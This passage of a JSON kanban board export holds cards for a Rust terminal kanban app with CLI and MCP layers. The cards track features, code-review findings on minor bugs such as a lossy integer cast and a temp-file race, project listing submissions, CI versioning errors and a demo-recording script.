        "description": "## Gap\n\nThe `KanbanOperations` trait (`crates/kanban-domain/src/operations.rs`) defines 3 bulk card operations:\n- `bulk_archive_cards` (line 62)\n- `bulk_move_cards` (line 63)\n- `bulk_assign_sprint` (line 64)\n\nBut `bulk_restore_cards` and `bulk_delete_cards` are missing entirely — no trait method, no CLI handler, no TUI handler, no MCP tool. The single-item `restore_card` and `delete_card` are fully implemented across all layers.\n\n## Implementation\n\n### 1. Trait — `crates/kanban-domain/src/operations.rs`\nAdd two methods alongside the existing bulk ops (after line 64):\n```rust\nfn bulk_restore_cards(&mut self, ids: Vec<Uuid>, column_id: Option<Uuid>) -> KanbanResult<usize>;\nfn bulk_delete_cards(&mut self, ids: Vec<Uuid>) -> KanbanResult<usize>;\n```\n\n### 2. CLI context — `crates/kanban-cli/src/context.rs`\nImplement both methods following the `bulk_archive_cards` pattern (lines 494-501): loop over ids, call single-item method, count successes.\n\n### 3. CLI handler — `crates/kanban-cli/src/handlers/card.rs`\nAdd `BulkRestore` and `BulkDelete` variants to the card command enum and wire handler functions (parse `--ids` CSV, call context method, print result).\n\n### 4. TUI context — `crates/kanban-tui/src/tui_context.rs`\nSame loop-and-count pattern as CLI context (mirror `bulk_archive_cards` at lines 391-398).\n\n### 5. MCP context — `crates/kanban-mcp/src/context.rs`\nDelegate to CLI via `execute_with_retry`, following `bulk_archive_cards` pattern (lines 392-402):\n- `bulk_restore_cards` → `[\"card\", \"bulk-restore\", \"--ids\", &ids_csv]`\n- `bulk_delete_cards` → `[\"card\", \"bulk-delete\", \"--ids\", &ids_csv]`\n\n### 6. MCP tools — `crates/kanban-mcp/src/lib.rs`\nAdd `tool_bulk_restore_cards` and `tool_bulk_delete_cards` alongside existing bulk tools (lines 828-860), using the `spawn_op!` macro.",
        "due_date": null,
        "id": "d8ee8eec-a2a8-4b62-9793-80eab112f69e",
        "points": 3,
        "position": 56,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856494754Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add bulk_restore and bulk_delete to KanbanOperations trait",
        "updated_at": "2026-04-04T23:44:57.487639960Z"
      },
      {
        "card_number": 120,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-03T16:53:08.185660Z",
        "created_at": "2025-11-02T22:23:58.005857Z",
        "description": "[See this](https://github.com/ratatui/awesome-ratatui/blob/main/contributing.md)\n\n[CONTRIBUTING.md](https://github.com/ratatui/awesome-ratatui/blob/main/contributing.md) \n\nEnsure your pull request adheres to the following guidelines:\n\n    Make sure you put your project in the appropriate category.\n    Use the following format: [title](link) - Description.\n    Check your spelling and grammar.\n    Make sure your text editor is set to remove trailing whitespace.\n    Make an individual pull request for each suggestion.\n\nThank you for your suggestion! 🧀\n\n2025-11-03 17:53:23\n---\n\nThis was closed and merged into the ratatui awesome minutes after opening.\n\nStill waiting on the awesome tuis one.\n\nBut good progress.\n\nAre there any more lists I can track down?\n",
        "due_date": null,
        "id": "81cfa8ba-abcb-4991-a1ef-a01a22250351",
        "points": 3,
        "position": 57,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-03T16:54:24.598191Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "awesome-ratatui",
        "updated_at": "2025-11-03T16:54:24.598198Z"
      },
      {
        "card_number": 200,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:08:59.545866Z",
        "description": "**From PR #165 review**\\n\\nThe same `parse_datetime` function exists in two places:\\n- `crates/kanban-mcp/src/lib.rs:87-102`\\n- `crates/kanban-cli/src/handlers/sprint.rs:5-18`\\n\\nThese are nearly identical implementations that parse both RFC 3339 and YYYY-MM-DD date formats. Should be extracted to a shared utility in `kanban-domain` or `kanban-core` to avoid drift between the two implementations.",
        "due_date": null,
        "id": "1a6eb20a-1228-40d7-b2d4-c92409c3e93b",
        "points": 1,
        "position": 57,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856433074Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Extract duplicated parse_datetime into shared utility",
        "updated_at": "2026-04-04T23:44:57.516093378Z"
      },
      {
        "card_number": 201,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:08:59.636047Z",
        "description": "**From PR #165 review**\\n\\nIn `crates/kanban-mcp/src/context.rs:75-81`, `add_field_str` only handles `FieldUpdate::Set`. When `FieldUpdate::Clear` is passed, it silently does nothing.\\n\\nThis is currently correct for sprint prefix/card_prefix (which use separate `--clear-*` flags handled elsewhere), but the method name doesn't signal this limitation. If someone uses `add_field_str` for a field that needs clear support without adding explicit handling, it will silently drop the clear intent.\\n\\nConsider either:\\n- Renaming to make the limitation explicit\\n- Adding a `clear_flag` parameter to handle the Clear variant\\n- Adding a doc comment warning about the behavior",
        "due_date": null,
        "id": "d5deebac-734d-475b-ad31-effb07ab5101",
        "points": 2,
        "position": 58,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856412486Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "ArgsBuilder.add_field_str silently ignores FieldUpdate::Clear",
        "updated_at": "2026-04-04T23:44:57.543088871Z"
      },
      {
        "card_number": 118,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-04T00:22:18.267021Z",
        "created_at": "2025-11-02T17:01:58.592815Z",
        "description": "now that we have per sprint filters for the card lists. lets remove the filtering of cards from the card lists\n",
        "due_date": null,
        "id": "1d1a3739-8b40-47ec-9d17-90ed952df09c",
        "points": 1,
        "position": 58,
        "priority": "Low",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T17:02:08.460292Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "unfilter tasks list on completed sprint",
        "updated_at": "2025-11-04T00:22:18.267021Z"
      },
      {
        "card_number": 121,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-14T23:26:05.543527Z",
        "created_at": "2025-11-02T22:24:06.040591Z",
        "description": "we actually got in this list!\n\nwe are now in two lists. awesome tuis and awesome ratatui\n",
        "due_date": null,
        "id": "33b6bb03-42d1-4a53-8d7d-ab3337d124ac",
        "points": 5,
        "position": 59,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-03T16:54:26.952639Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "awesome-tuis",
        "updated_at": "2025-11-14T23:26:40.184807Z"
      },
      {
        "card_number": 202,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:08:59.733942Z",
        "description": "**From PR #165 review**\\n\\nIn `crates/kanban-mcp/src/context.rs:276-310`, `update_card` handles `FieldUpdate::Clear` for `due_date` (line 303-305) but NOT for `description` (line 281-283) or `points` (line 294-296).\\n\\nIf `FieldUpdate::Clear` is passed for description or points, it silently does nothing — the CLI args won't include a `--clear-description` or `--clear-points` flag.\\n\\nThe PR intentionally removed broken `clear_description`/`clear_points` from the MCP request schema (UpdateCardRequest), which is correct. But the `McpContext` implementation of `KanbanOperations` should still handle the trait contract correctly if called programmatically (e.g., from tests or future code).\\n\\nNeeds corresponding `--clear-description` and `--clear-points` CLI flags to be added first, then the context can handle them.",
        "due_date": null,
        "id": "58b583f0-75a2-4f84-ad43-1df49c3cdde0",
        "points": 2,
        "position": 59,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856392342Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "McpContext.update_card doesn't handle Clear for description/points",
        "updated_at": "2026-04-04T23:44:57.568124444Z"
      },
      {
        "card_number": 111,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T17:05:22.697992Z",
        "created_at": "2025-11-01T09:32:30.790965Z",
        "description": "the help text for the sprint binding is showing the incorrect binding\n\nlets unify the help text, the card list and the card details view to use the same source for the sprint assignment bind\n",
        "due_date": null,
        "id": "2c56bcac-b562-49f7-9b7d-1296b7c5011c",
        "points": 2,
        "position": 60,
        "priority": "Low",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T09:33:32.897521Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "sprint binding help is wrong",
        "updated_at": "2025-11-17T17:05:22.698002Z"
      },
      {
        "card_number": 203,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:08:59.830996Z",
        "description": "**From PR #165 review**\\n\\nIn `crates/kanban-mcp/src/executor.rs:113-122`, error types are determined by substring matching on the error message:\\n\\n```rust\\nif error_msg.contains(\\\"conflict\\\") || error_msg.contains(\\\"modified by another\\\") {\\n    Err(KanbanError::ConflictDetected { ... })\\n} else if error_msg.contains(\\\"not found\\\") {\\n    Err(KanbanError::NotFound(error_msg))\\n}\\n```\\n\\nIf the CLI ever changes its error messages (e.g., capitalization, rewording), this classification breaks silently — conflicts won't be retried, not-found errors won't get the right type.\\n\\nConsider adding structured error codes to the CLI JSON response format, e.g.:\\n```json\\n{\\\"success\\\": false, \\\"error_code\\\": \\\"CONFLICT\\\", \\\"error\\\": \\\"modified by another process\\\"}\\n```\\n\\nThis would make the executor's error mapping robust against message changes.",
        "due_date": null,
        "id": "efb44c09-a22d-4c89-b228-4305158939f8",
        "points": 2,
        "position": 60,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856436916Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "SyncExecutor error classification relies on fragile string matching",
        "updated_at": "2026-04-04T23:44:57.591177155Z"
      },
      {
        "card_number": 130,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-15T00:16:54.870527Z",
        "created_at": "2025-11-14T23:23:23.503523Z",
        "description": "2025-11-15 00:23:43\n---\n\nStarting this one out from the unfiltered cards branch.\n\nThere are three card list component implementations. can we add an abstraction for the lists\n\nflat, grouped by column, and kanban view\n\na change to the card list require changes in three places.\n\nno good. lets fix it.\n\n",
        "due_date": null,
        "id": "f6897495-f5ab-4c68-923f-025758a692fd",
        "points": 5,
        "position": 60,
        "priority": "Low",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-14T23:25:37.440976Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "three card list components to become one",
        "updated_at": "2025-11-15T00:16:54.870527Z"
      },
      {
        "card_number": 24,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T21:43:28.632944Z",
        "created_at": "2025-10-11T20:30:09.214394Z",
        "description": "In the stash somewhere there is a draft of CI\n\nWe have partly done this. Now to expand on what else needs to be done\n\n- [x] publish to crates.io on merge to master\n\nIssue\n---\n\nIt doesnt work to post minor. prob not major either. But patch works!\n\n### Error\n\n```sh\nbuilding '/nix/store/m7ja8jdxv0pnl6i7x6ybfb60abq6jsdx-bump-version.drv'...\nBumping version: 0.1.2 → 0.2.0 (type: minor)\n    Updating crates.io index\nerror: failed to select a version for the requirement `kanban-core = \"^0.1.0\"`\ncandidate versions found which didn't match: 0.2.0\nlocation searched: /home/runner/work/kanban/kanban/crates/kanban-core\nrequired by package `kanban-domain v0.2.0 (/home/runner/work/kanban/kanban/crates/kanban-domain)`\nError: Process completed with exit code 101.\n```\n\n2025-10-15 21:11:16\n---\n\nThere is also the question of wether my versioning is skipping to much. Maybe I should switch to the release branch model where releases are progressively built from feature branches accumulated during the spring\n\nIt doesnt feel so natural to bump the version for every feature branch. I wonder what would be the best strategy..\n",
        "due_date": null,
        "id": "1c2f3096-823b-4eb7-9345-b80a4c5d8693",
        "points": 4,
        "position": 61,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155909Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add github ci",
        "updated_at": "2025-11-17T21:43:28.632944Z"
      },
      {
        "card_number": 204,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:08:59.930871Z",
        "description": "**From PR #165 review**\\n\\nIn `crates/kanban-mcp/src/lib.rs:593`:\\n```rust\\nreq.wip_limit.map(|w| FieldUpdate::Set(w as i32))\\n```\\n\\nAnd similarly in `crates/kanban-cli/src/handlers/column.rs:52`:\\n```rust\\nargs.wip_limit.map(|w| w as i32)\\n```\\n\\nBoth use `as i32` which is a potentially lossy cast. If `wip_limit > i32::MAX` (2,147,483,647), it wraps to a negative value. While unlikely in practice (WIP limits are typically single digits), the schema accepts `u32` so technically values up to 4 billion are valid input.\\n\\nConsider using `TryFrom` with an error, or capping at a reasonable maximum (e.g., 1000), or changing the domain type to `u32` to match.",
        "due_date": null,
        "id": "d844ad72-a8d6-4690-9cc6-2f0953cad000",
        "points": 1,
        "position": 61,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856505568Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Lossy u32-to-i32 cast for wip_limit in MCP and CLI handlers",
        "updated_at": "2026-04-04T23:44:57.619851250Z"
      },
      {
        "card_number": 205,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:09:00.020734Z",
        "description": "**From PR #165 review**\\n\\nThe integration tests in `crates/kanban-mcp/tests/integration.rs` cover happy paths thoroughly (13 tests for board CRUD, column CRUD, card lifecycle, sprint lifecycle, bulk ops, export/import). However, there are no tests for:\\n\\n- **Invalid UUID handling** — verify parse_uuid returns proper MCP error\\n- **Conflict retries** — verify execute_with_retry actually retries on ConflictDetected\\n- **Timeout behavior** — verify the 30s timeout fires and returns the right error\\n- **Operations on nonexistent entities** — only `board_get_nonexistent` is tested; missing column_get_nonexistent, card_get_nonexistent, sprint_get_nonexistent\\n- **Delete of nonexistent entity** — verify proper error propagation\\n- **Bulk operations with invalid IDs** — partial failure behavior\\n\\nUnit tests cover parser edge cases well (32 tests), but the integration layer needs error path coverage to prevent regressions.",
        "due_date": null,
        "id": "a130134c-08d8-4d56-ab07-e43acba95590",
        "points": 3,
        "position": 62,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856466577Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "MCP integration tests lack error path coverage",
        "updated_at": "2026-04-04T23:35:37.856467379Z"
      },
      {
        "card_number": 55,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T22:37:57.893291Z",
        "created_at": "2025-10-15T16:41:59.784803Z",
        "description": "When the task list has grown too big for the current window. we dont show the overflow. we just cut it out\n\nShould be able to scroll down to see the overflowing cards\n\n2025-11-17 23:07:56\n---\n\nScrolling doesnt work when we use the grouped by column list view mode\n",
        "due_date": null,
        "id": "0ce90167-1169-40fa-915e-54ca0ff6ed2f",
        "points": 3,
        "position": 62,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448939Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155914Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448940Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Scroll in cards list",
        "updated_at": "2025-11-17T22:38:09.399815Z"
      },
      {
        "card_number": 32,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T22:39:51.697926Z",
        "created_at": "2025-10-12T08:23:41.175901Z",
        "description": "I want to besides the tui add a cli interface to the application also\n",
        "due_date": null,
        "id": "0ae3776c-38cc-4b22-8e89-ed9ac767b512",
        "points": 4,
        "position": 63,
        "priority": "Medium",
        "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
        "sprint_logs": [
          {
            "ended_at": "2025-10-31T19:45:12.003372Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-10-31T19:41:54.429025Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-10-31T19:45:13.384347Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-10-31T19:45:12.003385Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-01T09:33:38.913655Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-10-31T19:45:13.384359Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-11-01T09:33:40.474978Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:33:38.913666Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-01T09:35:07.690632Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:33:40.474983Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T09:35:07.690636Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Add cli",
        "updated_at": "2025-11-17T22:39:51.697929Z"
      },
      {
        "card_number": 2,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T22:43:16.414879Z",
        "created_at": "2025-10-10T22:03:42.988557Z",
        "description": "Be able to have references to other cards.\n\n[like this](DEV-0001) Should be able to follow that link and open the card in Task Description interface.\n\n",
        "due_date": null,
        "id": "f1a80abd-338c-4593-92d6-20c2db7dc093",
        "points": 4,
        "position": 63,
        "priority": "Medium",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155905Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Links to cards",
        "updated_at": "2025-11-17T22:43:16.414879Z"
      },
      {
        "card_number": 206,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-02-02T19:09:00.120396Z",
        "description": "**From PR #165 review**\\n\\nIn `crates/kanban-mcp/src/context.rs:544-554`:\\n\\n```rust\\nlet tmp = tempfile::NamedTempFile::new()?;\\nstd::fs::write(tmp.path(), data)?;\\nlet path_str = tmp.path().to_string_lossy().to_string();\\nself.executor.execute_with_retry(&[\\\"import\\\", \\\"--file\\\", &path_str])\\n// tmp is dropped here, deleting the file\\n```\\n\\nThe `NamedTempFile` is dropped at end of function scope. Since `execute_with_retry` is synchronous and blocks until the CLI process completes, the file should still exist when read. However:\\n\\n1. If retry logic kicks in (conflict), the file could be read multiple times — which is fine since `NamedTempFile` isn't dropped until after all retries.\\n2. On some platforms, if the OS delays process cleanup, there could theoretically be a race.\\n\\nSafer alternative: use `tmp.into_temp_path()` or explicitly hold the handle, or pass data via stdin instead of a temp file.",
        "due_date": null,
        "id": "071f9152-1f2e-4ca8-85f1-795856751c0b",
        "points": 2,
        "position": 63,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856377482Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Potential race in import_board temp file lifetime",
        "updated_at": "2026-04-04T23:44:57.648621021Z"
      },
      {
        "card_number": 60,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-17T22:43:18.585541Z",
        "created_at": "2025-10-16T22:37:13.346713Z",
        "description": "Moving cards out from the last column doesnt seem to unmark them as complete\nMoving cards into the last column doesnt seem to mark them as complete\n\nEntering into the selected card doesnt work. When use `e` on whatever card it opens up a different one\n\nUntil we get the selecting of proper cards fixed we won't have any good board. It will be messy and things wil end up in wrong places\n\nI think the last thing I did was to try move a card around the columns. \n\nIt moved the wrong card. I tried to move that one back, nothing happened.\n\nMoving cards back don't work?\n\n---\n\nJust a card that I picked out. We have `column_id` now so we can drop `status`.\n\n```JSON\n{\n  \"id\": \"0ce90167-1169-40fa-915e-54ca0ff6ed2f\",\n  \"column_id\": \"289b85d8-a199-49fa-9d77-5ad892d87ef8\",\n  \"title\": \"Scroll in cards list\",\n  \"description\": \"When the task list has grown too big for the current window. we dont show the overflow. we just cut it out\\n\",\n  \"priority\": \"Medium\",\n  \"status\": \"Todo\",\n  \"position\": 19,\n  \"due_date\": null,\n  \"points\": 3,\n  \"card_number\": 55,\n  \"sprint_id\": null,\n  \"created_at\": \"2025-10-15T16:41:59.784803Z\",\n  \"updated_at\": \"2025-10-17T06:13:13.740612Z\",\n  \"completed_at\": null\n}\n```\n\n\n",
        "due_date": null,
        "id": "2c8d9c7d-44c8-49d5-a3e8-027356e694a6",
        "points": 1,
        "position": 64,
        "priority": "Medium",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155915Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "moving cards out of complete column doesnt unmark the card as complete",
        "updated_at": "2025-11-17T22:43:18.585541Z"
      },
      {
        "card_number": 14,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-11-26T23:26:45.563647Z",
        "created_at": "2025-10-11T18:27:29.674825Z",
        "description": "Using VHS record a demo so that we can post a gif of the tui to our github.\n\n```\n Complete Demo Script: Building a Web API Project\n\n  Scene 1: Launch & Create Board (0-15s)\n\n  $ cargo run\n  [TUI loads]\n  Press 'n'\n  Type: \"Web API Project\"\n  Press Enter\n  Narration: \"Creating a new project for our web API development\"\n\n  Scene 2: Add Cards with Different Priorities (15-50s)\n\n  Press '2' (switch to Tasks panel)\n  Press 'n'\n  Type: \"Setup development environment\"\n  Press Enter\n\n  Press 'n'\n  Type: \"Design database schema\"\n  Press Enter\n\n  Press 'n'\n  Type: \"Implement authentication API\"\n  Press Enter\n\n  Press 'n'\n  Type: \"Write integration tests\"\n  Press Enter\n  Narration: \"Adding tasks to our backlog\"\n\n  Scene 3: Edit Card Details - Full Metadata (50-90s)\n\n  Press 'k' (move up to first card)\n  Press Enter (open card detail)\n\n  [Show Title panel highlighted]\n  Press 'e'\n  [External editor opens]\n  Type: \"Setup development environment\\nInstall Rust, PostgreSQL, Docker\"\n  Save & exit\n\n  Press '2' (switch to Metadata panel)\n  Press 'e'\n  Type: \"3\" (for 3 story points - Yellow badge)\n  Press Enter\n\n  Press 's' (change status)\n  Type: \"InProgress\"\n  Press Enter\n\n  Press 'p' (change priority)\n  Type: \"High\"\n  Press Enter\n\n  Press '3' (switch to Description panel)\n  Press 'e'\n  [External editor opens]\n  Type: \"Dependencies:\\n- Rust 1.70+\\n- PostgreSQL 15\\n- Docker & docker-compose\\n\\nSetup steps:\\n1. Install Rust toolchain\\n2.\n  Configure database\\n3. Run initial migrations\"\n  Save & exit\n\n  Press Escape (back to main view)\n  Narration: \"Setting story points, priority, status, and detailed description\"\n\n  Scene 4: Mark Card Complete & Copy Branch Name (90-110s)\n\n  Press 'c' (toggle completion)\n  [Card shows checkmark ✓]\n\n  Press 'j' (move down)\n  Press Enter (open second card)\n  Press 'b' (copy branch name to clipboard)\n  [Shows: \"Copied branch name to clipboard\"]\n\n  Press 'y' (copy card ID)\n  [Shows: \"Copied card ID to clipboard\"]\n\n  Press Escape\n  Narration: \"Marking tasks complete and copying branch names for git workflow\"\n\n  Scene 5: Board Settings with Branch Prefix (110-130s)\n\n  Press '1' (switch to Projects)\n  Press 's' (open board settings)\n  Press 'p' (set branch prefix)\n  Type: \"feat\"\n  Press Enter\n  [Shows: \"Branch prefix set to: feat\"]\n  Press Escape\n  Narration: \"Configuring git branch prefixes for consistent naming\"\n\n  Scene 6: Edit Board Details (130-150s)\n\n  Press 'e' (edit board)\n  [BoardDetail view opens]\n  Press '2' (Description panel)\n  Press 'e'\n  [External editor]\n  Type: \"RESTful API for user management\\n\\nTech Stack:\\n- Rust + Actix-web\\n- PostgreSQL\\n- JWT authentication\"\n  Save & exit\n  Press Escape\n  Narration: \"Adding project documentation\"\n\n  Scene 7: Export Board (150-165s)\n\n  Press 'x' (export current board)\n  Type: \"web-api-project.json\"\n  Press Enter\n  [Shows: \"Board exported successfully\"]\n  Narration: \"Exporting project data to JSON\"\n\n  Scene 8: Complete More Tasks (165-185s)\n\n  Press '2' (Tasks panel)\n  Press 'j' (move down to third card)\n  Press Enter\n  Press '2' (Metadata)\n  Press 'e'\n  Type: \"5\" (5 story points - Red badge for critical)\n  Press Enter\n  Press 's'\n  Type: \"Blocked\"\n  Press Enter\n  Press Escape\n\n  Press 'j' (fourth card)\n  Press 'c' (mark complete)\n  Narration: \"Managing task progress - marking some blocked, others complete\"\n\n  Scene 9: Import Demo (185-205s)\n\n  Press 'i' (import)\n  [File list shows: web-api-project.json, example.json]\n  Press 'j'\n  Press Enter\n  [Shows: \"1 board(s) imported successfully\"]\n  Narration: \"Importing previously exported projects\"\n\n  Scene 10: Final Overview & Quit (205-215s)\n\n  Press '1' (Projects)\n  [Show list of boards]\n  Press '2' (Tasks)\n  [Show cards with different colors for story points, completion marks]\n\n  Press 'q'\n  [Auto-save message]\n  [Exit to shell]\n  Narration: \"All changes are auto-saved on exit\"\n\n  